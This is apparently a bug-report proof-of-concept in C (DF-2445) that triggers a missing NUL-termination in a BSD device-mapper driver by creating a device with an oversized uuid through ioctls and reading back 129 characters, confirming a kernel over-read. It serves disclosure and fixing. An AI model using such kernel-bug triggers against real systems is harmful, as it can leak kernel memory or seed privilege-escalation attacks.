DF-2445 / dm_uuid_nterm.c
/* DF-2445: dm_dev_alloc uses strncpy(dmv->uuid, uuid, sizeof(dmv->uuid)) * (dm_dev.c:367-368) without guaranteeing NUL termination. DM_UUID_LEN is * 129; a prop-dictionary uuid of >=129 chars leaves dmv->uuid unterminated * and every later %s/strcmp consumer over-reads until an unrelated zero * byte (currently the struct padding before cdev_t devt). Demonstrated by * creating a dm device with a 130-char uuid and reading the uuid back via * the status ioctl: it comes back 129 chars long -- one byte more than the * 128-char maximum a NUL-terminated store could ever return. */ #include <stdio.h> #include <string.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <libprop/plistref.h> #include <dev/disk/dm/netbsd-dm.h> #define DEV_NAME "df2445uuid" static int ctlfd = -1; static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict = prop_dictionary_create(); prop_array_t ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int simple_cmd(const char *command) { prop_dictionary_t dict = new_dm_dict(command); int rv; prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = prop_dictionary_send_ioctl(dict, ctlfd, NETBSD_DM_IOCTL); prop_object_release(dict); return rv; } int main(void) { prop_dictionary_t dict; const char *got; char biguuid[140]; int rv; ctlfd = open("/dev/mapper/control", O_RDWR); if (ctlfd < 0) { printf("[-] open /dev/mapper/control: %s (root + `kldload dm` required)\n", strerror(errno)); return 1; } simple_cmd("remove"); /* clean slate */ /* 130-char uuid: one byte MORE than uuid[129] can hold NUL-terminated */ memset(biguuid, 'u', sizeof(biguuid)); biguuid[130] = 0; dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); prop_dictionary_set_cstring(dict, DM_IOCTL_UUID, biguuid); rv = prop_dictionary_send_ioctl(dict, ctlfd, NETBSD_DM_IOCTL); prop_object_release(dict); printf("[*] create with 130-char uuid: rv=%d (%s)\n", rv, strerror(rv)); if (rv) return 1; /* read the uuid back via status (send+recv in one ioctl) */ dict = new_dm_dict("info"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); { prop_dictionary_t reply = NULL; rv = prop_dictionary_sendrecv_ioctl(dict, ctlfd, NETBSD_DM_IOCTL, &reply); dict = reply ? reply : dict; } if (rv) { printf("[-] status: %s\n", strerror(rv)); prop_object_release(dict); simple_cmd("remove"); return 1; } if (!prop_dictionary_get_cstring_nocopy(dict, DM_IOCTL_UUID, &got)) got = NULL; printf("[*] status returned uuid: %s\n", got ? "yes" : "NO"); if (got) { size_t n = strlen(got); printf("[*] returned uuid length = %zu (max NUL-terminated capacity = 128)\n", n); printf("[%c] %s\n", n > 128 ? '+' : '-', n > 128 ? "NON-TERMINATED STORE CONFIRMED (129 chars came back)" : "terminated"); } prop_object_release(dict); simple_cmd("remove"); close(ctlfd); return 0; } |